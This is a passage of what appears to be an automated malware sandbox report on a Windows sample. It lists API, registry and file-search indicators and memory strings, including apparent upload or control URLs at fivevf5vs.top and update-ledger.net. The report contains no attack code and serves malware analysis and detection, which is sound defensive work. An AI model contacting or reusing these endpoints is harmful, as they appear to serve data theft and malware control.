"00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpReadDataEx" (Indicator: "WinHttpReadData"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpReadDataEx" (Indicator: "WinHttpReadDataEx"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")3a:T430,Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00005700.00000000.77264.01560000.00000002.mdmp, 00000000-00005700.00000001.79190.01560000.00000002.mdmp, 00000000-00005700.00000002.81112.01560000.00000002.mdmp") Found reference to API "LL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00005700.00000000.77264.01560000.00000002.mdmp, 00000000-00005700.00000001.79190.01560000.00000002.mdmp, 00000000-00005700.00000002.81112.01560000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "inet_addr" (Indicator: "inet_addr"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")3b:T168b,Found URL "http://fivevf5vs.top/v1/upload.phpfivevf5vs.top?\c:\windows\so\device\netbt_tcpip_" - Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.php!" - Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp") Found URL "https://update-ledger.net/update'" - Source: "00000000-00005700.00000001.79190.00886000.00000002.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phpcalrpc\device\netbt_tcpip_" - Source: "00000000-00005700.00000001.79190.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phptp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.php!" - Source: "00000000-00005700.00000001.79190.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phpfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topcalrpc" - Source: "00000000-00005700.00000002.81112.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.php\device\netbt_tcpip_" - Source: "00000000-00005700.00000002.81112.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phptp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.php!" - Source: "00000000-00005700.00000002.81112.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phpfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topfivevf5vs.topb8566af6-97ivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.topivevf5vs.top\dey_tckfbdahttp://fivevf5vs.top/v1/upload.php8ffk\device\netbt_tcpip_" - Source: "00000000-00005700.00000003.86634.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.php!" - Source: "00000000-00005700.00000003.86634.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phptp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phphttp://fivevf5vs.top/v1/upload.phpmozilla/5.0" - Source: "00000000-00005700.00000003.86634.01210000.00000004.mdmp") Found URL "http://fivevf5vs.top/v1/upload.phpecurity=impersonation" - Source: "00000000-00005700.00000003.86634.035E0000.00000004.mdmp")3c:T522,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003468.00000000.81496.00300000.00000004.mdmp") Found string ":\Windows\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp")3d:T50c,Found registry query API: "RegOpenKeyExW" in file "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610" Found registry query API: "RegQueryValueExW" in file "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610" Found registry query API: "RegQueryValueExW" in "00000000-00003468.00000000.81496.000D1000.00000020.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00003468.00000000.81496.000D1000.00000020.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00005700.00000002.81112.00F20000.00000004.mdmp"3e:T564,Found reference to API "FindFirstFileNameA" (Indicator: "FindFirstFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindFirstFileNameW" (Indicator: "FindFirstFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindNextFileNameA" (Indicator: "FindNextFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindNextFileNameW" (Indicator: "FindNextFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")3f:T1421,Found string "\Device\HarddiskVolume2\Windows\Temp\199AB0C2-5682-4281-B247-152C74AD25DD\DismHost.exe" (Indicator: "\Device\"; Source: "00000000-00003468.00000000.81496.00300000.00000004.mdmp") Found string ":\Windows\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_x86_neutral_abfe51358467898f\vm3d.inf" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "PID=3468 Driver C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf is boot-critical. - CDriverPackage::FillInPackageDetails" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "PID=3468 Successfully opened driver package file 'C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf'. - CDriverManager::OpenPackageByFile" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "PID=3468 Building driver collection for package 'C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf'. - CDriverPackage::CreateDriverCollection" (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") file/memory contains long string with (Indicator: "system32\drivers"; Source: "00000000-00003468.00000001.82041.00353000.00000004.mdmp") Found string "\Device\NetBT_Tcpip_{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}" (Indicator: "\Device\"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.035E0000.00000004.mdmp") Found string "\Device\NetBT_Tcpip_{90A066FE-591C-47F3-850D-9644B684FBA5}" (Indicator: "\Device\"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.035E0000.00000004.mdmp") Found string "\Device\NetBT_Tcpip6_{B8566AF6-914F-4FBD-89E6-D3E0105F94CC}" (Indicator: "\Device\"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.035E0000.00000004.mdmp") Found string "\Device\NetBT_Tcpip6_{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}" (Indicator: "\Device\"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.035E0000.00000004.mdmp") Found string "\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9644B684FBA5}" (Indicator: "\Device\"; Source: "00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.035E0000.00000004.mdmp")40:Tf00,Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSecurityDescriptorOwner" (Indicator: "GetSecurityDescriptorOwner"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "IsValidSecurityDescriptor" (Indicator: "IsValidSecurityDescriptor"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "AddAce" (Indicator: "AddAce"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSecurityDescriptorGroup" (Indicator: "GetSecurityDescriptorGroup"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "InitializeSid" (Indicator: "InitializeSid"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "CopySid" (Indicator: "CopySid"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp")41:Td41,Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "IsValidSecurityDescriptor" which can "determine whether the components of a security descriptor are valid" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: DISMHOST.EXE.6A9E4442.bin]42:Ta9e,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\NETBT\LINKAGE"; Key: "EXPORT"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")43:T76e,Found string "atexit" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: MSVCRT.DLL) Found string "fprintf" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: MSVCRT.DLL) Found string "mbrlen" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "mbrtowc" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "strtoll" (Source: 